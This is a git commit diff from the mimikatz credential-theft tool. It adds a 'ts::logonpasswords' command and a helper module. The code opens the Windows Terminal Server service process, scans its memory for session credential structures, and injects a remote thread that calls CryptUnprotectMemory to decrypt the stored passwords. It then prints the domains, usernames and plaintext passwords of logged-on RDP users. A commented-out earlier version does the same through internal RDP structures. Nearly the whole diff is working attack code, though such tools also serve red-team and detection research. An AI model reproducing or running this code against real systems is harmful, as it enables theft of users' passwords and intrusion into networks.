[new] mimikatz ts::logonpasswords (experimental) - try to dump passwords from Terminal Server service (8.1+/2012R2+)

This commit is contained in:
Benjamin DELPY 2021-05-17 23:49:18 +02:00
parent c54f4162d5
commit 86679021ee
6 changed files with 383 additions and 6 deletions

View File

@ -120,6 +120,7 @@
<ClCompile Include="..\modules\kull_m_cred.c" />
<ClCompile Include="..\modules\kull_m_crypto.c" />
<ClCompile Include="..\modules\kull_m_crypto_ngc.c" />
<ClCompile Include="..\modules\kull_m_crypto_remote.c" />
<ClCompile Include="..\modules\kull_m_crypto_sk.c" />
<ClCompile Include="..\modules\kull_m_dpapi.c" />
<ClCompile Include="..\modules\kull_m_file.c" />
@ -233,6 +234,7 @@
<ClInclude Include="..\modules\kull_m_cred.h" />
<ClInclude Include="..\modules\kull_m_crypto.h" />
<ClInclude Include="..\modules\kull_m_crypto_ngc.h" />
<ClInclude Include="..\modules\kull_m_crypto_remote.h" />
<ClInclude Include="..\modules\kull_m_crypto_sk.h" />
<ClInclude Include="..\modules\kull_m_crypto_system.h" />
<ClInclude Include="..\modules\kull_m_dpapi.h" />

View File

@ -320,6 +320,9 @@
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_sccm.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\modules\kull_m_crypto_remote.c">
<Filter>common modules</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
@ -659,6 +662,9 @@
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_sccm.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\modules\kull_m_crypto_remote.h">
<Filter>common modules</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">

View File

@ -9,6 +9,8 @@ const KUHL_M_C kuhl_m_c_ts[] = {
{kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"},
{kuhl_m_ts_sessions, L"sessions", NULL},
{kuhl_m_ts_remote, L"remote", NULL},
{kuhl_m_ts_logonpasswords, L"logonpasswords", L"[experimental] try to get passwords from running sessions"},
// {kuhl_m_ts_logonpasswords2, L"logonpasswords2", L"[experimental] try to get passwords from running sessions"},
};
const KUHL_M kuhl_m_ts = {
L"ts", L"Terminal Server module", NULL,
@ -170,4 +172,238 @@ NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"Argument id is needed\n");
return STATUS_SUCCESS;
}
}
const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, 0x0b, 0x00};
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
{
SERVICE_STATUS_PROCESS ServiceStatusProcess;
HANDLE hProcess;
STRUCT_DATASEARCH myDataSearch = {NULL, {(LPVOID) MyPattern, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
{
if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &myDataSearch.hMemory))
{
kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
kull_m_memory_close(myDataSearch.hMemory);
}
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR(L"Service is not running\n");
}
else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
{
PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
KULL_M_MEMORY_SEARCH sMemory;
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(MyPattern), &sMemory, TRUE)) // lucky only one by segment
{
kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, sMemory.result);
}
}
return TRUE;
}
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
{
WTS_KIWI clientData;
KULL_M_MEMORY_ADDRESS aLocal = {&clientData, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
BOOL decStatus = TRUE;
if(aProcess.address)
{
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
{
if(clientData.cbDomain < sizeof(clientData.Domain))
{
if(clientData.cbUsername < sizeof(clientData.UserName))
{
if(clientData.cbPassword < sizeof(clientData.Password))
{
kprintf(
L"\n Domain : %.*s\n"
L" UserName : %.*s\n",
clientData.cbDomain / sizeof(wchar_t), clientData.Domain,
clientData.cbUsername/ sizeof(wchar_t), clientData.UserName
);
if(clientData.cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
{
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
}
if(decStatus)
{
kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
}
}
}
}
}
}
}
/*
const char c_CRDPWDUMXStack[] = "CRDPWDUMXStack";
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
{
SERVICE_STATUS_PROCESS ServiceStatusProcess;
HANDLE hProcess;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule;
KULL_M_MEMORY_ADDRESS aPattern = {(LPVOID) c_CRDPWDUMXStack, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL};
STRUCT_MYSEARCH mySearch = {NULL, 0xdbcaabcd, 0x00000001};
STRUCT_DATASEARCH myDataSearch = {NULL, {&mySearch, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
{
if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_BUILD_10_1809) ? L"rdpserverbase.dll" : L"rdpcorets.dll", &iModule))
{
kprintf(L"Module @ 0x%p (%u)\n", iModule.DllBase.address, iModule.SizeOfImage);
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = iModule.DllBase.address;
sMemory.kull_m_memoryRange.size = iModule.SizeOfImage;
if(kull_m_memory_search(&aPattern, sizeof(c_CRDPWDUMXStack), &sMemory, TRUE))
{
myDataSearch.hMemory = sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory;
mySearch.pCRDPWDUMXStack = (LPCSTR) sMemory.result;
kprintf(L"CRDPWDUMXStack @ 0x%p\n", mySearch.pCRDPWDUMXStack);
kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
}
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
kull_m_memory_close(myDataSearch.hMemory);
}
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR(L"Service is not running\n");
}
else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
{
PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
KULL_M_MEMORY_SEARCH sMemory;
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(STRUCT_MYSEARCH), &sMemory, TRUE))
{
kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, (PBYTE) sMemory.result - FIELD_OFFSET(UNK_STRUCT0, pCRDPWDUMXStack));
}
}
return TRUE;
}
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
{
UNK_STRUCT0 unkStruct0;
PVOID unk0;
WTS_KIWI clientData;
KULL_M_MEMORY_ADDRESS aLocal = {&unkStruct0, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
if(Addr)
{
kprintf(L"\n[ %p ]\n", Addr);
//kprintf(L"\nEntry\n=====\n");
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(UNK_STRUCT0)))
{
kprintf(L" unkp0 : %p\n", unkStruct0.unkp0);
kprintf(L" unkp1 : %p\n", unkStruct0.unkp1);
kprintf(L" pCRDPWDUMXStack : %p\n", unkStruct0.pCRDPWDUMXStack);
kprintf(L" unk0 : 0x%08x\n", unkStruct0.unk0);
kprintf(L" unk1 : 0x%08x\n", unkStruct0.unk1);
kprintf(L" unkThis0 : %p\n", unkStruct0.unkThis0);
kprintf(L" unk2 : 0x%08x\n", unkStruct0.unk2);
kprintf(L" unkp2 : %p\n", unkStruct0.unkp2);
kprintf(L" ImageBase : %p\n", unkStruct0.ImageBase);
kprintf(L" unkp3 : %p\n", unkStruct0.unkp3);
kprintf(L" unkp4 : %p\n", unkStruct0.unkp4);
kprintf(L" unkp5 : %p\n", unkStruct0.unkp5);
kprintf(L" unk3 : 0x%08x\n", unkStruct0.unk3);
kprintf(L" unk4 : 0x%08x\n", unkStruct0.unk4);
kprintf(L" unk5 : 0x%08x\n", unkStruct0.unk5);
kprintf(L" unk6 : 0x%08x\n", unkStruct0.unk6);
kprintf(L" unk7 : 0x%08x\n", unkStruct0.unk7);
kprintf(L" unkp6 : %p\n", unkStruct0.unkp6);
kprintf(L" unkp7 : %p\n", unkStruct0.unkp7);
kprintf(L" unkp8 : %p\n", unkStruct0.unkp8);
kprintf(L" unkp9 : %p\n", unkStruct0.unkp9);
kprintf(L" unkp10 : %p\n", unkStruct0.unkp10);
kprintf(L" + 1160 : %p\n", (PBYTE) unkStruct0.unkp10 + 1160);
kprintf(L" unkp11 : %p\n", unkStruct0.unkp11);
kprintf(L" unkp12 : %p\n", unkStruct0.unkp12);
aLocal.address = &unk0;
aProcess.address = (PBYTE) unkStruct0.unkp10 + 1160; // 2019
//aProcess.address = (PBYTE) unkStruct0.unkp8 + 1160; // 2016
if(aProcess.address)
{
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(PVOID)))
{
aLocal.address = &clientData;
aProcess.address = unk0;
if(aProcess.address)
{
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
{
kull_m_string_wprintf_hex(&clientData, 8, 1); kprintf(L"\n");
kprintf(L" 0 : 0x%08x\n", clientData.unk0);
kprintf(L" Magic : 0x%08x\n", clientData.unk1);
kprintf(L" Domain : %.*s\n", clientData.cbDomain / sizeof(wchar_t), clientData.Domain);
kprintf(L" UserName : %.*s\n", clientData.cbUsername/ sizeof(wchar_t), clientData.UserName);
// kprintf(L" Password(e): "); kull_m_string_wprintf_hex(clientData.Password, sizeof(clientData.Password), 0); kprintf(L"\n");
if(kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS))
{
kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
}
}
}
}
}
}
}
}
*/

View File

@ -5,16 +5,21 @@
*/
#pragma once
#include "kuhl_m.h"
#include "../modules/kull_m_patch.h"
#include "../modules/kull_m_service.h"
#include "../modules/kull_m_process.h"
#include "../modules/kull_m_memory.h"
#include "../../modules/kull_m_patch.h"
#include "../../modules/kull_m_service.h"
#include "../../modules/kull_m_process.h"
#include "../../modules/kull_m_memory.h"
#include "../../modules/kull_m_crypto_remote.h"
const KUHL_M kuhl_m_ts;
NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]);
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg);
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr);
#define LOGONID_CURRENT ((ULONG) -1)
#define SERVERHANDLE_CURRENT ((HANDLE) NULL)
@ -194,4 +199,62 @@ extern BOOLEAN WINAPI WinStationQueryInformationW(IN HANDLE hServer, IN ULONG Se
extern BOOLEAN WINAPI WinStationSetInformationW(IN HANDLE hServer, IN ULONG SessionId, IN WINSTATIONINFOCLASS WinStationInformationClass, IN PVOID pWinStationInformation, IN ULONG WinStationInformationLength);
extern LPWSTR NTAPI RtlIpv4AddressToStringW(IN const IN_ADDR *Addr, OUT LPWSTR S);
extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
typedef struct _STRUCT_DATASEARCH {
PKULL_M_MEMORY_HANDLE hMemory;
KULL_M_MEMORY_ADDRESS aPattern;
} STRUCT_DATASEARCH, *PSTRUCT_DATASEARCH;
#define WTS_DOMAIN_LENGTH 255
#define WTS_USERNAME_LENGTH 255
#define WTS_PASSWORD_LENGTH 255
#pragma pack(push, 2)
typedef struct _WTS_KIWI {
DWORD unk0;
DWORD unk1;
WORD cbDomain;
WORD cbUsername;
WORD cbPassword;
DWORD unk2;
WCHAR Domain[WTS_DOMAIN_LENGTH + 1];
WCHAR UserName[WTS_USERNAME_LENGTH + 1];
WCHAR Password[WTS_PASSWORD_LENGTH + 1];
} WTS_KIWI, *PWTS_KIWI;
#pragma pack(pop)
/*
typedef struct _STRUCT_MYSEARCH {
LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
DWORD unk0; // 0xdbcaabcd
DWORD unk1; // 0x00000001
} STRUCT_MYSEARCH, *PSTRUCT_MYSEARCH;
typedef struct _UNK_STRUCT0 { // 0x2f8
PVOID unkp0; // &CTSAsyncResultImpl::`vftable'{for `INonDelegatingUnknown'};
PVOID unkp1; // &CTSUnknownCrossModule::`vftable'{for `CTSObject'};
LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
DWORD unk0; // 0xdbcaabcd
DWORD unk1; // 0x00000001
PVOID unkThis0; // this
DWORD unk2; // 0, 2 ?
PVOID unkp2; // &CTSUnknownCrossModule::`vftable'
PVOID ImageBase; //
PVOID unkp3; // &CRDPWDUMXStack::`vftable'{for `IRDPWDUMX_StackEx'};
PVOID unkp4; // &CRDPWDUMXStack::`vftable'{for `IRDPENCNetStreamEvents'};
PVOID unkp5; // &CRDPWDUMXStack::`vftable'{for `IRDPNetworkDetectTransport'};
DWORD unk3; // 1 ?
DWORD unk4; // ?
DWORD unk5; // 1 ?
DWORD unk6; // 59 ?
DWORD unk7; //
// align
PVOID unkp6; //
PVOID unkp7; //
PVOID unkp8;
PVOID unkp9;
PVOID unkp10; /// :)
PVOID unkp11;
PVOID unkp12;
} UNK_STRUCT0, *PUNK_STRUCT0;
*/

View File

@ -0,0 +1,54 @@
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_crypto_remote.h"
#pragma optimize("", off)
DWORD WINAPI kull_m_crypto_remote_thread_CryptProtectMemory_Generic(PREMOTE_LIB_DATA lpParameter) // to Protect & Unprotect
{
lpParameter->output.outputData = lpParameter->input.inputData;
lpParameter->output.outputSize = lpParameter->input.inputSize;
lpParameter->output.outputStatus = ((PCRYPTUNPROTECTMEMORY) 0x4141414141414141)(lpParameter->input.inputData, lpParameter->input.inputSize, lpParameter->input.inputDword);
return STATUS_SUCCESS;
}
DWORD kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end(){return 'kipr';}
#pragma optimize("", on)
BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags)
{
BOOL status = FALSE;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
REMOTE_EXT extensions[] = {
{L"dpapi.dll", "CryptProtectMemory", (PVOID) 0x4141414141414141, NULL},
{L"dpapi.dll", "CryptUnprotectMemory", (PVOID) 0x4141414141414141, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {1, bIsProtect ? &extensions[0] : &extensions[1]};
KULL_M_MEMORY_ADDRESS aRemoteFunc;
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hProcess, kull_m_crypto_remote_thread_CryptProtectMemory_Generic, (DWORD) ((PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end - (PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, dwFlags, cbDataIn, pDataIn))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
status = (BOOL) oData.outputStatus;
if(status)
{
RtlCopyMemory(pDataIn, oData.outputData, min(cbDataIn, oData.outputSize));
}
// LocalFree oData.outputData ?
}
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
return status;
}

View File

@ -0,0 +1,16 @@
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "globals.h"
#include "kull_m_remotelib.h"
//typedef BOOL (WINAPI * PCRYPTPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
typedef BOOL (WINAPI * PCRYPTUNPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
#define kull_m_crypto_remote_CryptProtectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, TRUE, pDataIn, cbDataIn, dwFlags)
#define kull_m_crypto_remote_CryptUnprotectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, FALSE, pDataIn, cbDataIn, dwFlags)